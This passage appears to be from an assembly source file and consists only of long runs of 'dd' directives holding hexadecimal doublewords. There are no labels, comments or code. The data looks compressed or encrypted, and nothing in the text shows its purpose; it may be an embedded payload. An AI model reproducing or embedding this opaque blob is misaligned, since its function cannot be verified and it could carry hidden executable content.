		dd 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h
		dd 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h
		dd 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch
		dd 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh
		dd 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h
		dd 437D7Ch, 0DDDB0330h,	645157B2h, 62722F00h, 0A6B4BA7h
		dd 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh, 2563E08Dh
		dd 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h, 61870DD8h
		dd 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h, 16C0D848h
		dd 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h, 681C9D0Bh
		dd 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh
		dd 47203Ch, 0F841F940h,	0E8FE0581h, 3AD48200h, 6939FFB8h
		dd 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h, 0D14020C2h
		dd 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h, 0EA4714Fh
		dd 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h
		dd 92718770h, 8BC09757h, 881EC5h, 66517231h, 0FDC79A5h
		dd 0CF094F07h, 57D010D5h, 278461h, 7E811575h, 456744A1h
		dd 37E3C000h, 97173259h, 2B8E0056h, 88723810h, 407CDAF4h
		dd 915FF800h, 0E1E44D28h, 0A6F4C8h, 4FE083C1h, 21D00C03h
		dd 0C7D91401h, 0D64BEB4h, 98CE60F8h, 0B585001Dh, 0B9157672h
		dd 0F0F0190h, 0A15AF120h, 0AED6E8B8h, 7C508D47h, 13F8B2h
		dd 66FA6C14h, 0D8FE28E7h, 0AAFD7000h, 3F1A40A7h, 0CD9A0162h
		dd 8D7FE007h, 3431EC04h, 2EE4C50Fh, 7DF821E5h, 68800DFEh
		dd 21B58682h, 167ABD3Ah, 7E772700h, 72052026h, 787A67h
		dd 33F0CE0Ch, 3F6C18FBh, 81C7FC00h, 0FE465C3Bh,	94620077h
		dd 17904815h, 30070E7Eh, 5C036618h, 41FE4E21h, 0F775F8h
		dd 0A4D2C3Ch, 0A0C18B49h, 0EF996700h, 6DF16963h, 3F7C13h
		dd 0DC8D39D1h, 0F06A2BF2h, 6CB14012h, 0F3FD2B00h, 0C36231h
		dd 23EE810Ah, 857524D9h, 7F144905h, 0B5C5FD45h,	76A39C3h
		dd 0A8427C6Ah, 7791F073h, 62037BE2h, 0B1B8461Ch, 0D21BE0AFh
		dd 0E83C392Ch, 61BA1480h, 0F82DF410h, 6CE7201h,	75FF085Dh
		dd 0C60B0EFh, 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h, 2B127F71h
		dd 0DF075ED0h, 64E00D2Ah, 5BB35F4h, 8C063757h, 902BC0F0h
		dd 7034612h, 497D834Ah,	819DE0A5h, 0B1F90017h, 7C660F3Ah
		dd 0E90206BEh, 90109ED3h, 12FDC071h, 19130052h,	0F2BCED7Dh
		dd 5004672h, 8EACBA66h,	7B3182h, 9A2FB3A9h, 0A7504C3h
		dd 4DFFB905h, 0EE000DDEh, 3E6B322Eh, 74410764h,	132A56D8h
		dd 10B04490h, 503B55Ch,	0FCC12DA4h, 2E098F0h, 481E005Eh
		dd 0E64B5288h, 5000CB2Ch, 6D07625Dh, 0F14110Eh,	74778693h
		dd 4C9CC840h, 0B400AD4Ah, 8CEC465Dh, 103B63h, 15640B72h
		dd 4002291Ch, 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h, 64F1001Bh
		dd 4BF41626h, 0F207BA5Eh, 514E444Ch, 342507D0h,	8060094h
		dd 50FE1391h, 205C67FDh, 575E0011h, 2590E9D6h, 0B47E00E0h
		dd 27E85082h, 0BB019148h, 9D0EED4Ch, 99F3540Ah,	43FC2B63h
		dd 0DD530F1Fh, 28E7A65Ch
		dd 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h
		dd 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h
		dd 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h
		dd 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h,	0D79E7323h
		dd 51D0C8h, 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h
		dd 0F8F6EBh, 3260B63Eh,	50895951h, 0D09F0300h, 64EBDFDBh
		dd 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah
		dd 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh
		dd 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh
		dd 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h,	94613Dh
		dd 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh
		dd 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h
		dd 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h, 0F859F913h
		dd 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h,	4B6F7181h
		dd 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h
		dd 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh
		dd 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h
		dd 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh
		dd 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h,	0D0112CF2h
		dd 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h,	48901h
		dd 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h,	7CD5B4ACh
		dd 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h
		dd 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h,	0C80720E9h
		dd 54046A00h, 37503056h, 0DF442568h, 16245500h,	420099BAh
		dd 90A4D4B8h, 7F4ACC7h,	4A045698h, 0FB8069FAh, 80102903h
		dd 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h
		dd 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh
		dd 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h
		dd 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h
		dd 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h
		dd 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh
		dd 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh
		dd 0A30FE620h, 144D0500h, 24731682h, 2210032h, 774CCE54h
		dd 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh,	8DC0C084h
		dd 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh,	1F783352h
		dd 55007EEBh, 4882694h,	7121179h, 0A2C314A4h, 0FA56F003h
		dd 4E039FACh, 30E2B810h, 7459D898h, 736B040h, 0C4370E64h
		dd 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h
		dd 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h
		dd 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h
		dd 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h,	0BB3A00FBh
		dd 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h
		dd 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h
		dd 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h,	4F6100B5h
		dd 95A0056Ah, 90014EBh,	4A339D2Bh, 20CCC5h, 0E85CB227h
		dd 45759331h, 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h
		dd 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh
		dd 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh
		dd 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h
		dd 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h
		dd 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h
		dd 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h,	0C0509DA5h
		dd 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh
		dd 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h,	2E01A6h
		dd 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h,	0D0A10013h
		dd 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh
		dd 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h,	10680013h
		dd 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h,	98FAD3h
		dd 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h,	0DDDB0184h
		dd 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h,	5212C3Dh
		dd 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh
		dd 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h
		dd 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h
		dd 9A7E6B7h, 78800498h,	0BE00AA74h, 691B6693h, 168D0034h
		dd 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h,	331720F3h
		dd 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h
		dd 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h
		dd 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h
		dd 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h
		dd 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah,	600F060Bh
		dd 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh
		dd 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h
		dd 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh
		dd 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h
		dd 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h
		dd 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h, 68C1A1E0h
		dd 0FB0A8058h, 0FC00EA51h, 0A5666F64h, 0B191CEh, 117FB762h
		dd 0D3D52DE0h, 0F0466909h, 60558041h, 894831h, 5BB56FCCh
		dd 0B9BC72AAh, 8C41FC2Ch, 63A6813Dh, 0C183040Ah, 1F2DF4CCh
		dd 3AFDBBh, 9AC02456h, 8900AF4Eh, 0B683252h, 0F61F41Bh
		dd 0D61D655Ch, 6A0D4680h, 8403FB91h, 0FE1EDDEAh, 2353D814h
		dd 3C100055h, 8EEB7C72h, 0E204471Fh, 0BB379F33h, 0C13596C2h
		dd 10203030h, 408C012Fh, 0E424AA25h, 0B095201Dh, 36C30307h
		dd 5E50604h, 2B30487h, 9D09CB08h, 200C9C03h, 160EF80Dh
		dd 1A840090h, 687013E8h, 93EE6675h, 3825B10Fh, 84FEE0D8h
		dd 985C8A9h, 54CEE6EAh,	86AC7080h, 4839B042h, 84A9032Ah
		dd 0BB298267h, 2EAD812h, 7B8300A8h, 0F7F6114h, 7C00A522h
		dd 0B4496847h, 589C88h,	26961873h, 782F7024h, 0C748018h
		dd 7D6212h, 15235AF0h, 87B3850Fh, 0B614B17h, 0A6164307h
		dd 2470E471h, 719684FCh, 66D900A4h, 0A114B8FCh,	2500DA48h
		dd 658B378Dh, 32E0A95h,	0E81F39B9h, 16E02AA7h, 2098B464h
		dd 57335007h, 0C0C0BE8Bh, 3AC4443Ah, 3DBC990Bh,	4210C883h
		dd 0B5F87DCCh, 522D0DD0h, 7F5500D4h, 1F883386h,	0A1AC44h
		dd 8DCABCE4h, 89E82410h, 96633401h, 5AEB2948h, 0E9490D4h
		dd 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h, 0C1F317Eh, 95D8102h
		dd 265C80CCh, 0E0696285h, 6E606E22h, 0A702A68Ah, 0BA8918C9h
		dd 4963E003h, 3CB700BEh, 0E9CA8BD5h, 65FCD28Ch,	0DDBC7400h
		dd 0B327ED7Ah, 8343077Ch, 39EFC89h, 0C2B8D00Bh,	0CB0103FDh
		dd 74917208h, 3430641Dh, 2273002Ch, 0EFA85EC3h,	0F400553Bh
		dd 5969CCA7h, 17D73017h, 0FDED83h, 0E1E0DD7Dh, 0A176F001h
		dd 7D0B6600h, 855EA488h, 5D4000A5h, 38FF4C15h, 61DB292h
		dd 0BE004657h, 8835905h, 0C99407F0h, 0F7CDDBh, 8257E815h
		dd 0F6B82503h, 0B0216ACAh
		dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
		dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
		dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
		dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
		dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h,	0FECB1907h
		dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
		dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h,	0E47D56h
		dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
		dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h,	0EE6DA2Dh
		dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h,	0DC940Ch
		dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
		dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h,	0E18A64h
		dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
		dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
		dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
		dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
		dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
		dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
		dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
		dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
		dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h,	0BC70049h
		dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h,	0ACBE0460h
		dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
		dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h,	0EFE50203h
		dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah,	3B159449h
		dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h,	1D5540C5h
		dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
		dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h,	0CCF26007h
		dd 0B7500CBh, 2C683EEh,	0E003255Fh, 7A2A1D0Ah, 0CC50F040h
		dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h,	6D53F92Ch
		dd 7C9842h, 0FBE82A14h,	0BF1BEAFAh, 4500B1F6h, 0E05135Eh
		dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
		dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
		dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
		dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h,	1D0FBA2Ch
		dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h,	196E4C16h
		dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
		dd 0D11F3Bh, 2D7B5D3Ch,	0E468A3h, 0F8B8292Ah, 8D4C4D2h
		dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh,	6D1EBA3Ah
		dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
		dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
		dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
		dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
		dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
		dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
		dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h,	0DDABC0E3h
		dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
		dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
		dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
		dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch,	0DB84CE52h
		dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
		dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h,	3F094091h
		dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h,	0D925BD38h
		dd 5A06EC3Dh, 0B60A5Ch,	13406974h, 3D21E992h, 3E7CA84Bh
		dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
		dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
		dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
		dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh,	5C328085h
		dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh,	58891040h
		dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
		dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
		dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
		dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh,	88DC0FA1h
		dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h,	0CA88CABh
		dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
		dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
		dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
		dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
		dd 38E0AC84h, 7CEFD80h,	1CF47Ch, 68281178h, 89740F18h
		dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch,	0F8FAF71Eh
		dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
		dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
		dd 9FC700Ah, 7D97E800h,	81BA2098h, 80510995h, 0E0803F60h
		dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h,	0F3133AFCh
		dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
		dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh,	18BF0372h
		dd 2C7F40FBh, 9B831F4Ch, 0D0FCC08Bh, 282DF876h,	317FFF00h
		dd 86730232h, 0F3E11CC8h, 0B48D007Eh, 4AA87449h, 66FC400Fh
		dd 0EBA4A2C1h, 0E76D6123h, 0B0B60FC0h, 0FB80009Bh, 0BC37401h
		dd 9007704h, 6C30BFF3h,	7EB03Bh, 1AB8B302h, 4F9D140Dh
		dd 2F588E0Fh, 8C44A0A1h, 10917BEh, 763352A3h, 0E011D825h
		dd 88028F4Bh, 0AAC81B1h, 2B57E0C0h, 0C3B01F82h,	86E64084h
		dd 2D3D1480h, 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h,	11F007Fh
		dd 7CFDF983h, 0C97E0B1Ah, 4E861C00h, 4A3E80AAh,	0A0401F27h
		dd 0F766C02Fh, 0D8F320D9h, 0BF1CEB00h, 8F42C311h, 19740091h
		dd 2F8E2C5h, 8A001508h,	6623A2E0h, 0A20E86ABh, 2A54C0C3h
		dd 4081007Fh, 0E3FE3306h, 2B00F225h, 5EAB6293h,	0F48A0B14h
		dd 8B8C0F29h, 116049D2h, 2BB48719h, 86081C01h, 27204EAh
		dd 0EB09330h, 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch
		dd 90E2EBC0h, 83067Dh, 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h
		dd 8B5092AAh, 32DC61h, 258C35F7h, 5B23F1Dh, 49430A01h
		dd 0ED15D50Bh, 8BE980E7h, 0AA040709h, 10F8DC3Bh, 4B735852h
		dd 830E0F98h, 0A01D12FAh, 5638BA05h, 496F00E2h,	0EB04D6B5h
		dd 0DB013328h, 0E03A8889h, 48C0C11Dh, 0F60300B3h, 43DC8AF3h
		dd 1488EACh, 4B0D002Dh,	3DA0F475h, 0C57C031Eh, 4AEAEB32h
		dd 0C3FF1AA8h, 3C2EE358h, 0C058073h, 27F97541h,	26CF072Bh
		dd 708EC3F7h, 81891D8Ah, 46A43200h, 220B6452h, 0F211CF1h
		dd 0D93A0004h, 0E9027F76h, 8DDDCC00h, 1A9B9C09h, 0C9241790h
		dd 48F805h, 1E74D03Ch, 7E537651h, 7A293B48h, 0AE92AA8h
		dd 3E80C8Ch, 0F7CC0784h, 595B407Fh, 0E2014312h,	0AC0BEBDCh
		dd 7DC04A35h, 5C00041h,	0EADFC42Bh, 26B8B701h, 0BA402A00h
		dd 0BDE7602h, 1720029Bh, 289958F7h, 2DFDACE0h, 831A473Fh
		dd 0F97E05D4h, 0EB48DBB6h
		dd 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h,	3600FD20h
		dd 33C81067h, 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh
		dd 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh
		dd 136BC200h, 8C5AE8Fh,	5D770Bh, 0DE4F1673h, 68C61B28h
		dd 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh,	591F13F4h
		dd 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h,	0E3AFF599h
		dd 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h
		dd 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h
		dd 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh
		dd 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h
		dd 374272Ch, 4D228039h,	103E9620h, 0EF560060h, 648AEDE2h
		dd 47F1906h, 52450B07h,	0C373020Dh, 3AAC88C0h, 0D0F400C4h
		dd 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch,	0A1C76630h
		dd 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h, 3925E430h
		dd 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah
		dd 1896DF36h, 0D78B46h,	424039EBh, 0D32D4CD8h, 1EDBFE01h
		dd 0CABF79DAh, 83C7D4h,	0F7D9E880h, 0EC5589C1h,	3E60CB00h
		dd 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h
		dd 9C0FFAh, 0FBC1B801h,	589666EBh, 116BEC00h, 2703F80Eh
		dd 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah
		dd 222C35Bh, 6084482Ah,	61E06B29h, 0E48BA13h, 0C20776A2h
		dd 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h
		dd 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh
		dd 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h
		dd 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h
		dd 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h
		dd 5ECDE4F9h, 3880500h,	0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h
		dd 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h,	7FD307Ch
		dd 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h,	0E40FC400h
		dd 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h,	0DEC16031h
		dd 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h
		dd 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h,	0C200AA9Ah
		dd 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h
		dd 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h
		dd 58227507h, 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh
		dd 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h
		dd 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h
		dd 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h
		dd 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh
		dd 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h
		dd 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh
		dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
		dd 712FF83h, 8027730Fh,	351F707Ch, 44E425C6h, 4FE00E00h
		dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
		dd 525F9862h, 7A533530h, 21190325h, 0F150A190h,	77835688h
		dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
		dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h,	5C2C9DAEh
		dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h,	0F4891BFh
		dd 82D0EFDh, 81A70064h,	0B6B3DAh, 15730DE0h, 0E0549F2h
		dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
		dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
		dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh,	0EBECCC49h
		dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
		dd 0B009873h, 3134C8Dh,	0C61602h, 80D58207h, 0F7D1853Fh
		dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
		dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
		dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h,	464E0107h
		dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
		dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh,	0E83B960Ch
		dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
		dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
		dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
		dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h,	0C40027DDh
		dd 0F03A2CF3h, 0F730Ah,	290DDA26h, 0CE904349h, 53B80600h
		dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h,	6BE4002Ah
		dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
		dd 0B871F8h, 250E978Ah,	0F0340F4h, 0B67850Fh, 7606A055h
		dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
		dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
